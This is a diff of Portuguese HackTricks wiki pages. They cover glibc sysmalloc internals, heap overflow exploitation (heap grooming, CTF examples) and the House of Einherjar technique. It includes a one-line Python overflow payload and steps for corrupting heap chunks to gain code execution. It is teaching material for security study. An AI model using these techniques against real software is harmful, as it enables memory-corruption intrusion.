||||||
|
Ele começa calculando a quantidade de memória necessária. Ele começará solicitando memória contígua, então, neste caso, será possível usar a memória antiga não utilizada. Também são realizadas algumas operações de alinhamento.
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary>sysmalloc main arena</summary>
|
||||||
```c
|
```c
|
||||||
// From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L2665C1-L2713C10
|
// From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L2665C1-L2713C10
|
||||||
|
|
||||||
|
@ -1342,9 +1352,15 @@ madvise_thp (brk, size);
|
||||||
LIBC_PROBE (memory_sbrk_more, 2, brk, size);
|
LIBC_PROBE (memory_sbrk_more, 2, brk, size);
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
### Erro anterior da arena principal do `sysmalloc` 1
|
</details>
|
||||||
|
|
||||||
Se o anterior retornou `MORECORE_FAILURE`, tente alocar memória novamente usando `sysmalloc_mmap_fallback`
|
### sysmalloc main arena previous error 1
|
||||||
|
|
||||||
|
Se o anterior retornou `MORECORE_FAILURE`, tente novamente alocar memória usando `sysmalloc_mmap_fallback`
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><code>sysmalloc</code> main arena previous error 1</summary>
|
||||||
```c
|
```c
|
||||||
// From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L2715C7-L2740C10
|
// From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L2715C7-L2740C10
|
||||||
|
|
||||||
|
@ -1375,9 +1391,15 @@ snd_brk = brk + size;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
### Continuação da arena principal do sysmalloc
|
</details>
|
||||||
|
|
||||||
|
### sysmalloc main arena continue
|
||||||
|
|
||||||
Se o anterior não retornou `MORECORE_FAILURE`, se funcionou, crie alguns alinhamentos:
|
Se o anterior não retornou `MORECORE_FAILURE`, se funcionou, crie alguns alinhamentos:
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary>sysmalloc main arena previous error 2</summary>
|
||||||
```c
|
```c
|
||||||
// From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L2742
|
// From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L2742
|
||||||
|
|
||||||
|
@ -1562,9 +1584,9 @@ _int_free (av, old_top, 1);
|
||||||
```
|
```
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
### sysmalloc final
|
### sysmalloc finale
|
||||||
|
|
||||||
Conclua a alocação atualizando as informações da arena
|
Finalize a alocação atualizando as informações da arena
|
||||||
```c
|
```c
|
||||||
// From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L2921C3-L2943C12
|
// From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L2921C3-L2943C12
|
||||||
|
|
||||||
|
@ -1596,7 +1618,7 @@ return 0;
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Código sysmalloc_mmap</summary>
|
<summary>código sysmalloc_mmap</summary>
|
||||||
```c
|
```c
|
||||||
// From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L2392C1-L2481C2
|
// From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L2392C1-L2481C2
|
||||||
|
|
||||||
|
@ -1687,16 +1709,16 @@ return chunk2mem (p);
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Aprenda e pratique AWS Hacking: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Treinamento AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Aprenda e pratique GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Treinamento GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Suporte o HackTricks</summary>
|
<summary>Supporte o HackTricks</summary>
|
||||||
|
|
||||||
* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
|
@ -10,7 +10,7 @@ Aprenda e pratique Hacking GCP: <img src="../../../.gitbook/assets/grte.png" alt
|
||||||
|
|
||||||
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
* **Compartilhe truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
|
@ -1,55 +1,55 @@
|
||||||
# Heap Overflow
|
# Heap Overflow
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Suporte o HackTricks</summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
## Informações Básicas
|
## Basic Information
|
||||||
|
|
||||||
Um heap overflow é como um [**stack overflow**](../stack-overflow/), mas no heap. Basicamente significa que algum espaço foi reservado no heap para armazenar alguns dados e **os dados armazenados eram maiores do que o espaço reservado**.
|
Um heap overflow é como um [**stack overflow**](../stack-overflow/) mas no heap. Basicamente, isso significa que algum espaço foi reservado no heap para armazenar alguns dados e **os dados armazenados eram maiores do que o espaço reservado.**
|
||||||
|
|
||||||
Em stack overflows, sabemos que alguns registradores como o ponteiro de instrução ou o quadro de pilha serão restaurados a partir da pilha e poderia ser possível abusar disso. No caso de heap overflows, **não há nenhuma informação sensível armazenada por padrão** no pedaço de heap que pode ser sobrecarregado. No entanto, poderia ser informações sensíveis ou ponteiros, então a **criticidade** dessa vulnerabilidade **depende** de **quais dados podem ser sobrescritos** e de como um atacante poderia abusar disso.
|
Em stack overflows, sabemos que alguns registradores, como o ponteiro de instrução ou o quadro de pilha, serão restaurados da pilha e pode ser possível abusar disso. No caso de heap overflows, **não há nenhuma informação sensível armazenada por padrão** no chunk do heap que pode ser transbordado. No entanto, pode haver informações sensíveis ou ponteiros, então a **criticidade** dessa vulnerabilidade **depende** de **quais dados podem ser sobrescritos** e como um atacante poderia abusar disso.
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Para encontrar deslocamentos de overflow, você pode usar os mesmos padrões que em [**stack overflows**](../stack-overflow/#finding-stack-overflows-offsets).
|
Para encontrar offsets de overflow, você pode usar os mesmos padrões que em [**stack overflows**](../stack-overflow/#finding-stack-overflows-offsets).
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
### Stack Overflows vs Heap Overflows
|
### Stack Overflows vs Heap Overflows
|
||||||
|
|
||||||
Em stack overflows, a organização e os dados que estarão presentes na pilha no momento em que a vulnerabilidade pode ser acionada são bastante confiáveis. Isso ocorre porque a pilha é linear, sempre aumentando em memória colidindo, em **lugares específicos da execução do programa a memória da pilha geralmente armazena um tipo de dados semelhante** e tem uma estrutura específica com alguns ponteiros no final da parte da pilha usada por cada função.
|
Em stack overflows, a disposição e os dados que estarão presentes na pilha no momento em que a vulnerabilidade pode ser acionada são bastante confiáveis. Isso ocorre porque a pilha é linear, sempre aumentando em memória colidida, em **lugares específicos da execução do programa, a memória da pilha geralmente armazena um tipo semelhante de dados** e tem uma estrutura específica com alguns ponteiros no final da parte da pilha usada por cada função.
|
||||||
|
|
||||||
No entanto, no caso de um heap overflow, a memória usada não é linear, mas **os pedaços alocados geralmente estão em posições separadas da memória** (não um ao lado do outro) por causa de **bins e zones** que separam alocações por tamanho e porque **a memória anterior liberada é usada** antes de alocar novos pedaços. É **complicado saber qual objeto vai colidir com o objeto vulnerável** a um heap overflow. Portanto, quando um heap overflow é encontrado, é necessário encontrar uma **maneira confiável de fazer com que o objeto desejado esteja próximo na memória** do que o que pode ser sobrecarregado.
|
No entanto, no caso de um heap overflow, a memória usada não é linear, mas **chunks alocados geralmente estão em posições separadas da memória** (não um ao lado do outro) devido a **bins e zonas** que separam alocações por tamanho e porque **memória previamente liberada é usada** antes de alocar novos chunks. É **complicado saber qual objeto estará colidindo com o vulnerável** a um heap overflow. Portanto, quando um heap overflow é encontrado, é necessário encontrar uma **maneira confiável de fazer o objeto desejado estar próximo na memória** do que pode ser transbordado.
|
||||||
|
|
||||||
Uma das técnicas usadas para isso é o **Heap Grooming**, que é usado, por exemplo, [**neste post**](https://azeria-labs.com/grooming-the-ios-kernel-heap/). No post é explicado como, no kernel do iOS, quando uma zona fica sem memória para armazenar pedaços de memória, ela a expande em uma página do kernel, e esta página é dividida em pedaços dos tamanhos esperados que seriam usados em ordem (até a versão 9.2 do iOS, então esses pedaços são usados de forma randomizada para dificultar a exploração desses ataques).
|
Uma das técnicas usadas para isso é **Heap Grooming**, que é usada, por exemplo, [**neste post**](https://azeria-labs.com/grooming-the-ios-kernel-heap/). No post, é explicado como, quando no kernel do iOS, quando uma zona fica sem memória para armazenar chunks de memória, ela a expande por uma página do kernel, e essa página é dividida em chunks dos tamanhos esperados que seriam usados em ordem (até a versão 9.2 do iOS, depois esses chunks são usados de maneira aleatória para dificultar a exploração desses ataques).
|
||||||
|
|
||||||
Portanto, no post anterior onde um heap overflow está ocorrendo, para forçar o objeto sobrecarregado a colidir com uma ordem vítima, vários **`kallocs` são forçados por várias threads para tentar garantir que todos os pedaços livres sejam preenchidos e que uma nova página seja criada**.
|
Portanto, no post anterior onde um heap overflow está acontecendo, para forçar o objeto transbordado a colidir com uma ordem de vítima, vários **`kallocs` são forçados por várias threads para tentar garantir que todos os chunks livres sejam preenchidos e que uma nova página seja criada**.
|
||||||
|
|
||||||
Para forçar esse preenchimento com objetos de um tamanho específico, a **alocação fora de linha associada a uma porta mach iOS** é um candidato ideal. Ao criar o tamanho da mensagem, é possível especificar exatamente o tamanho da alocação `kalloc` e quando a porta mach correspondente é destruída, a alocação correspondente será imediatamente liberada de volta para `kfree`.
|
Para forçar esse preenchimento com objetos de um tamanho específico, a **alocação fora da linha associada a um mach port do iOS** é um candidato ideal. Ao elaborar o tamanho da mensagem, é possível especificar exatamente o tamanho da alocação `kalloc` e, quando o mach port correspondente é destruído, a alocação correspondente será imediatamente liberada de volta para `kfree`.
|
||||||
|
|
||||||
Em seguida, alguns desses espaços reservados podem ser **liberados**. A lista de liberação **`kalloc.4096` libera elementos em uma ordem de último a entrar, primeiro a sair**, o que basicamente significa que se alguns espaços reservados forem liberados e o exploit tentar alocar vários objetos vítimas enquanto tenta alocar o objeto vulnerável à sobrecarga, é provável que este objeto seja seguido por um objeto vítima.
|
Então, alguns desses espaços reservados podem ser **liberados**. A **lista livre `kalloc.4096` libera elementos em uma ordem de último a primeiro** (last-in-first-out), o que basicamente significa que se alguns espaços reservados forem liberados e a exploração tentar alocar vários objetos de vítima enquanto tenta alocar o objeto vulnerável ao overflow, é provável que esse objeto seja seguido por um objeto de vítima.
|
||||||
|
|
||||||
### Exemplo libc
|
### Example libc
|
||||||
|
|
||||||
[**Nesta página**](https://guyinatuxedo.github.io/27-edit\_free\_chunk/heap\_consolidation\_explanation/index.html) é possível encontrar uma emulação básica de Heap overflow que mostra como sobrescrever o bit prev in use do próximo pedaço e a posição do tamanho prev é possível **consolidar um pedaço usado** (fazendo-o pensar que está não utilizado) e **então alocá-lo novamente** sendo capaz de sobrescrever dados que estão sendo usados em um ponteiro diferente também.
|
[**Nesta página**](https://guyinatuxedo.github.io/27-edit\_free\_chunk/heap\_consolidation\_explanation/index.html) é possível encontrar uma emulação básica de Heap overflow que mostra como sobrescrever o bit prev in use do próximo chunk e a posição do tamanho prev é possível **consolidar um chunk usado** (fazendo-o pensar que está não utilizado) e **então alocá-lo novamente**, sendo capaz de sobrescrever dados que estão sendo usados em um ponteiro diferente também.
|
||||||
|
|
||||||
Outro exemplo de [**protostar heap 0**](https://guyinatuxedo.github.io/24-heap\_overflow/protostar\_heap0/index.html) mostra um exemplo muito básico de um CTF onde um **heap overflow** pode ser abusado para chamar a função vencedora e **obter a bandeira**.
|
Outro exemplo do [**protostar heap 0**](https://guyinatuxedo.github.io/24-heap\_overflow/protostar\_heap0/index.html) mostra um exemplo muito básico de um CTF onde um **heap overflow** pode ser abusado para chamar a função vencedora para **obter a bandeira**.
|
||||||
|
|
||||||
No exemplo [**protostar heap 1**](https://guyinatuxedo.github.io/24-heap\_overflow/protostar\_heap1/index.html) é possível ver como abusar de um estouro de buffer é possível **sobrescrever em um pedaço próximo um endereço** onde **dados arbitrários do usuário** serão escritos.
|
No exemplo do [**protostar heap 1**](https://guyinatuxedo.github.io/24-heap\_overflow/protostar\_heap1/index.html) é possível ver como abusar de um buffer overflow é possível **sobrescrever em um chunk próximo um endereço** onde **dados arbitrários do usuário** serão escritos.
|
||||||
|
|
||||||
### Exemplo ARM64
|
### Example ARM64
|
||||||
|
|
||||||
Na página [https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/](https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/) você pode encontrar um exemplo de heap overflow onde um comando que será executado é armazenado no próximo pedaço a partir do pedaço sobrecarregado. Portanto, é possível modificar o comando executado sobrescrevendo-o com um exploit simples como:
|
Na página [https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/](https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/) você pode encontrar um exemplo de heap overflow onde um comando que será executado é armazenado no seguinte chunk do chunk transbordado. Assim, é possível modificar o comando executado sobrescrevendo-o com uma exploração fácil, como:
|
||||||
```bash
|
```bash
|
||||||
python3 -c 'print("/"*0x400+"/bin/ls\x00")' > hax.txt
|
python3 -c 'print("/"*0x400+"/bin/ls\x00")' > hax.txt
|
||||||
```
|
```
|
||||||
|
@ -57,7 +57,7 @@ python3 -c 'print("/"*0x400+"/bin/ls\x00")' > hax.txt
|
||||||
|
|
||||||
* [**Auth-or-out. Hack The Box**](https://7rocky.github.io/en/ctf/htb-challenges/pwn/auth-or-out/)
|
* [**Auth-or-out. Hack The Box**](https://7rocky.github.io/en/ctf/htb-challenges/pwn/auth-or-out/)
|
||||||
* Usamos uma vulnerabilidade de Integer Overflow para obter um Heap Overflow.
|
* Usamos uma vulnerabilidade de Integer Overflow para obter um Heap Overflow.
|
||||||
* Corrompemos ponteiros para uma função dentro de uma `struct` do chunk estourado para definir uma função como `system` e obter execução de código.
|
* Corrompemos ponteiros para uma função dentro de um `struct` do chunk transbordado para definir uma função como `system` e obter execução de código.
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
@ -65,11 +65,11 @@ Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Suporte ao HackTricks</summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
|
@ -1,16 +1,16 @@
|
||||||
# Casa de Einherjar
|
# House of Einherjar
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Treinamento HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Treinamento HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Apoie o HackTricks</summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
@ -19,8 +19,8 @@ Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data
|
||||||
|
|
||||||
### Código
|
### Código
|
||||||
|
|
||||||
* Verifique o exemplo em [https://github.com/shellphish/how2heap/blob/master/glibc\_2.35/house\_of\_einherjar.c](https://github.com/shellphish/how2heap/blob/master/glibc\_2.35/house\_of\_einherjar.c)
|
* Confira o exemplo em [https://github.com/shellphish/how2heap/blob/master/glibc\_2.35/house\_of\_einherjar.c](https://github.com/shellphish/how2heap/blob/master/glibc\_2.35/house\_of\_einherjar.c)
|
||||||
* Ou em [https://guyinatuxedo.github.io/42-house\_of\_einherjar/house\_einherjar\_exp/index.html#house-of-einherjar-explanation](https://guyinatuxedo.github.io/42-house\_of\_einherjar/house\_einherjar\_exp/index.html#house-of-einherjar-explanation) (talvez seja necessário preencher o tcache)
|
* Ou o de [https://guyinatuxedo.github.io/42-house\_of\_einherjar/house\_einherjar\_exp/index.html#house-of-einherjar-explanation](https://guyinatuxedo.github.io/42-house\_of\_einherjar/house\_einherjar\_exp/index.html#house-of-einherjar-explanation) (você pode precisar preencher o tcache)
|
||||||
|
|
||||||
### Objetivo
|
### Objetivo
|
||||||
|
|
||||||
|
@ -28,48 +28,48 @@ Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data
|
||||||
|
|
||||||
### Requisitos
|
### Requisitos
|
||||||
|
|
||||||
* Criar um chunk falso quando queremos alocar um chunk:
|
* Criar um chunk falso quando quisermos alocar um chunk:
|
||||||
* Definir ponteiros para apontar para si mesmo para contornar verificações de integridade
|
* Definir ponteiros para apontar para si mesmos para contornar verificações de sanidade
|
||||||
* Estouro de um byte com um byte nulo de um chunk para o próximo para modificar a flag `PREV_INUSE`.
|
* Overflow de um byte com um byte nulo de um chunk para o próximo para modificar a flag `PREV_INUSE`.
|
||||||
* Indicar no `prev_size` do chunk abusado por off-by-null a diferença entre ele mesmo e o chunk falso.
|
* Indicar no `prev_size` do chunk abusado off-by-null a diferença entre ele e o chunk falso
|
||||||
* O tamanho do chunk falso também deve ter sido definido com o mesmo tamanho para contornar verificações de integridade.
|
* O tamanho do chunk falso também deve ter sido definido com o mesmo tamanho para contornar verificações de sanidade
|
||||||
* Para construir esses chunks, você precisará de um vazamento de heap.
|
* Para construir esses chunks, você precisará de um leak de heap.
|
||||||
|
|
||||||
### Ataque
|
### Ataque
|
||||||
|
|
||||||
* Um chunk falso é criado dentro de um chunk controlado pelo atacante apontando com `fd` e `bk` para o chunk original para contornar proteções.
|
* Um chunk falso `A` é criado dentro de um chunk controlado pelo atacante apontando com `fd` e `bk` para o chunk original para contornar as proteções
|
||||||
* 2 outros chunks (`B` e `C`) são alocados.
|
* 2 outros chunks (`B` e `C`) são alocados
|
||||||
* Abusando do off-by-one no `B`, o bit `prev in use` é limpo e os dados `prev_size` são sobrescritos com a diferença entre o local onde o chunk `C` é alocado e o chunk falso `A` gerado anteriormente.
|
* Abusando o off by one no `B`, o bit `prev in use` é limpo e os dados `prev_size` são sobrescritos com a diferença entre o lugar onde o chunk `C` é alocado e o chunk falso `A` gerado anteriormente
|
||||||
* Este `prev_size` e o tamanho no chunk falso `A` devem ser iguais para contornar verificações.
|
* Este `prev_size` e o tamanho no chunk falso `A` devem ser os mesmos para contornar as verificações.
|
||||||
* Em seguida, o tcache é preenchido.
|
* Em seguida, o tcache é preenchido
|
||||||
* Em seguida, `C` é liberado para que se consolide com o chunk falso `A`.
|
* Então, `C` é liberado para que se consolide com o chunk falso `A`
|
||||||
* Em seguida, um novo chunk `D` é criado que começará no chunk falso `A` e cobrirá o chunk `B`.
|
* Então, um novo chunk `D` é criado que começará no chunk falso `A` e cobrirá o chunk `B`
|
||||||
* A casa de Einherjar termina aqui.
|
* A casa de Einherjar termina aqui
|
||||||
* Isso pode ser continuado com um ataque de fast bin ou envenenamento de Tcache:
|
* Isso pode ser continuado com um ataque de fast bin ou envenenamento de Tcache:
|
||||||
* Libere `B` para adicioná-lo ao fast bin / Tcache
|
* Liberar `B` para adicioná-lo ao fast bin / Tcache
|
||||||
* O `fd` de `B` é sobrescrito fazendo-o apontar para o endereço alvo abusando do chunk `D` (pois ele contém `B` dentro)
|
* O `fd` de `B` é sobrescrito fazendo-o apontar para o endereço alvo abusando do chunk `D` (já que contém `B` dentro) 
|
||||||
* Em seguida, são feitos 2 mallocs e o segundo vai **alocar o endereço alvo**
|
* Em seguida, 2 mallocs são feitos e o segundo irá **alocar o endereço alvo**
|
||||||
|
|
||||||
## Referências e outros exemplos
|
## Referências e outros exemplos
|
||||||
|
|
||||||
* [https://github.com/shellphish/how2heap/blob/master/glibc\_2.35/house\_of\_einherjar.c](https://github.com/shellphish/how2heap/blob/master/glibc\_2.35/house\_of\_einherjar.c)
|
* [https://github.com/shellphish/how2heap/blob/master/glibc\_2.35/house\_of\_einherjar.c](https://github.com/shellphish/how2heap/blob/master/glibc\_2.35/house\_of\_einherjar.c)
|
||||||
* **CTF** [**https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house\_of\_einherjar/#2016-seccon-tinypad**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house\_of\_einherjar/#2016-seccon-tinypad)
|
* **CTF** [**https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house\_of\_einherjar/#2016-seccon-tinypad**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house\_of\_einherjar/#2016-seccon-tinypad)
|
||||||
